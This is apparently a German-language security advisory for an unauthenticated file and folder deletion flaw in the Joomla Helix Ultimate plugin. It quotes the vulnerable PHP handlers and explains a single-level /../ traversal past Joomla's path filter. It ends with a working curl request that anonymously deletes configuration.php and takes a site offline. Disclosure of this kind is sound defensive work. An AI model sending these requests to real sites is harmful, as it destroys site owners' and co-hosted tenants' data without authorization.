
Unauthentifizierte Löschung beliebiger Dateien/Ordner in Joomla Helix Ultimate (JoomShaper) <= 2.2.6 — CVE-2026-57830
Dies ist eine bestätigte DoS- und Cross-Tenant-Dateisystemzugriffs-Schwachstelle, KEIN RCE. Eine RCE-Eskalationstheorie
(Löschen von configuration.php, um den Joomla-Installer wieder freizulegen) wurde live getestet und widerlegt — siehe „RCE-Eskalation — getestet und widerlegt" unten. Stellen Sie dies in keinem Bericht als RCE dar, ohne zuvor eine echte Kette neu herzuleiten.
Schweregrad-Upgrade (2026-07-06, zweiter Durchgang): Der Parameter path ist, wie zunächst eingeschätzt, NICHT sicher auf das Joomla-Webroot begrenzt — Joomlas PATH-Eingabefilter blockiert eine einzelne /../-Traversal-Komponente nicht, sodass dieser Bug (Lesen: vollständige Verzeichnisauflistung; Schreiben: Datei löschen oder Ordnerinhalte rekursiv löschen) alles im Dateisystem erreicht, auf das der Webserver-Benutzer zugreifen kann, nicht nur Dateien innerhalb der Joomla-Installation. Bei jedem Shared-Hosting-Layout, bei dem mehrere Websites/Mandanten als Schwesterverzeichnisse unter demselben OS-Benutzer liegen (extrem häufig: cPanel-„Addon-Domains", Plesk-Abonnements, die sich einen Systembenutzer teilen, die meisten Budget-Hostings), ermöglicht eine einzelne, auf Helix Ultimate basierende Website einem anonymen Besucher, jede andere Website auf demselben Konto zu zerstören. Siehe „Path-Traversal verlässt JPATH_ROOT vollständig" unten für den Live-Beweis.
Komponente: JoomShaper Helix Ultimate Framework (plg_system_helixultimate), gebündelt mit praktisch jeder JoomShaper-Joomla-Vorlage (basierend auf Helix Ultimate).
Getestete Version: 2.2.6 (GitHub JoomShaper/helix-ultimate, HEAD-Stand 2026-07, letzter Push 2026-06-30)
Autor: Amin İsayev / Proxima Cyber Security
plugins/system/helixultimate/src/Platform/Media.php macht deleteMedia(), getFolders() und createFolder() über den Joomla-Dispatch-Hook com_ajax in helixultimate.php::onAfterRoute() erreichbar. Diese drei Methoden rufen lediglich Session::checkToken() auf (eine reine CSRF-Prüfung, die durch das eigene Session-Token jedes anonymen Besuchers erfüllt wird — aus dem HTML der Startseite abgreifbar) — überhaupt keine authorise()-/Login-Prüfung. Dies steht im Widerspruch zur Schwestermethode uploadMedia() in derselben Klasse, die korrekt core.edit auf com_templates verlangt.
Da es sich um ein System-Plugin handelt, feuert onAfterRoute() bei jeder Anfrage, unabhängig davon, welche Vorlage gerade aktiv ist — der verwundbare Codepfad ist erreichbar, solange das Plugin installiert und aktiviert ist (was es standardmäßig auf jeder Website ist, die eine auf Helix Ultimate basierende JoomShaper-Vorlage verwendet).
plugins/system/helixultimate/helixultimate.php (~Zeile 464-489):
if ($this->app->isClient('site'))
{
$option = $this->app->input->get('option', '', 'STRING');
$helix = $this->app->input->get('helix', '', 'STRING');
$request = $this->app->input->get('request', '', 'STRING');
$action = $this->app->input->get('action', '', 'STRING');
if ($option === 'com_ajax' && $helix === 'ultimate' && $request === 'task' && $action !== '')
{
switch ($action)
{
case 'upload-blog-image': Blog::upload_image(); break; // has core.create/com_media check
case 'remove-blog-image': Blog::remove_image(); break; // has core.delete/com_media check
case 'view-media': Media::getFolders(); break; // NO authorise() check
case 'delete-media': Media::deleteMedia(); break; // NO authorise() check
case 'upload-media': Media::uploadMedia(); break; // has core.edit/com_templates check
}
}
}
plugins/system/helixultimate/src/Platform/Media.php:
public static function deleteMedia()
{
$output['message'] = Text::_('JINVALID_TOKEN');
Session::checkToken() or die(json_encode($output)); // ← only CSRF, no authorise()
$path = $input->post->get('path', '/images', 'PATH');
$type = $input->post->get('type', 'file', 'STRING');
if ($type === 'file') { File::delete(JPATH_ROOT . '/' . $path); }
else { Folder::delete(JPATH_ROOT . '/' . $path); } // recursive
}
$path durchläuft Joomlas PATH-Eingabefilter (InputFilter::cleanPath()). Zwei unabhängige Dinge machen dies gefährlich:
path wird direkt unter JPATH_ROOT aufgelöst, sodass jeder vom Root aus absolute Pfad (/configuration.php, /administrator/..., /media/...) bereits erreichbar ist.cleanPath() (^[A-Za-z0-9_\/-]+[A-Za-z0-9_\.-]*([\\\\\/]+[A-Za-z0-9_-]+[A-Za-z0-9_\.-]*)*$) erlaubt genau eine Folge von Punkt-/Bindestrich-/Alnum-Zeichen direkt nach dem führenden [A-Za-z0-9_/-]+-Block — und ein führendes / allein erfüllt diesen führenden Block bereits, sodass eine Zeichenkette wie /../sibling_dir sauber matcht: / (Block 1), .. (die erlaubte Punktfolge), /sibling_dir (ein normales Endsegment). Der Filter wurde geschrieben, um ein Segment abzulehnen, das eine neue /…-Komponente mit einem Punkt beginnt, hat aber nie antizipiert, dass ein einzelnes .. direkt nach dem allerersten Zeichen der Zeichenkette sitzt. Das Verketten von ../../.. überlebt NICHT (jedes weitere /…-Segment nach der ersten Punktfolge muss mit einem Nicht-Punkt-Zeichen beginnen) — daher ist die Eskalation auf genau eine Verzeichnisebene über JPATH_ROOT begrenzt, aber alles unterhalb dieser Ebene (beliebige Tiefe) ist dann normal erreichbar, da weitere Segmente nur gewöhnliche Nicht-Punkt-Pfadkomponenten sind.configuration.php → sofortiger, vollständiger Site-Ausfall (Fatal Error „No configuration"), eine HTTP-Anfrage, null Authentifizierung.type=folder) → z. B. /administrator, /components, /media → weitaus destruktiver, zerstört die Installation praktisch vollständig.view-media (Media::getFolders()): listet alle Bilddateien, alle Unterordnernamen und absolute Serverpfade unter jedem root-relativen Pfad auf, keine Authentifizierung erforderlich (unten als das sichere Erkennungssignal verwendet).Getestet gegen eine Wegwerf-Docker-Instanz (Joomla 5.4.6 + Helix-Ultimate-Plugin 2.2.6, frische Installation, vollständig anonyme Browser-Sitzung — kein Login, kein Cookie außer dem, den Joomla jedem Besucher aushändigt):
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/configuration.php" \
--data-urlencode "type=file" \
--data-urlencode "<csrf-token-from-homepage>=1"
{"status":true, ...}
$ curl http://TARGET/
"No configuration file found and no directory was found for installation."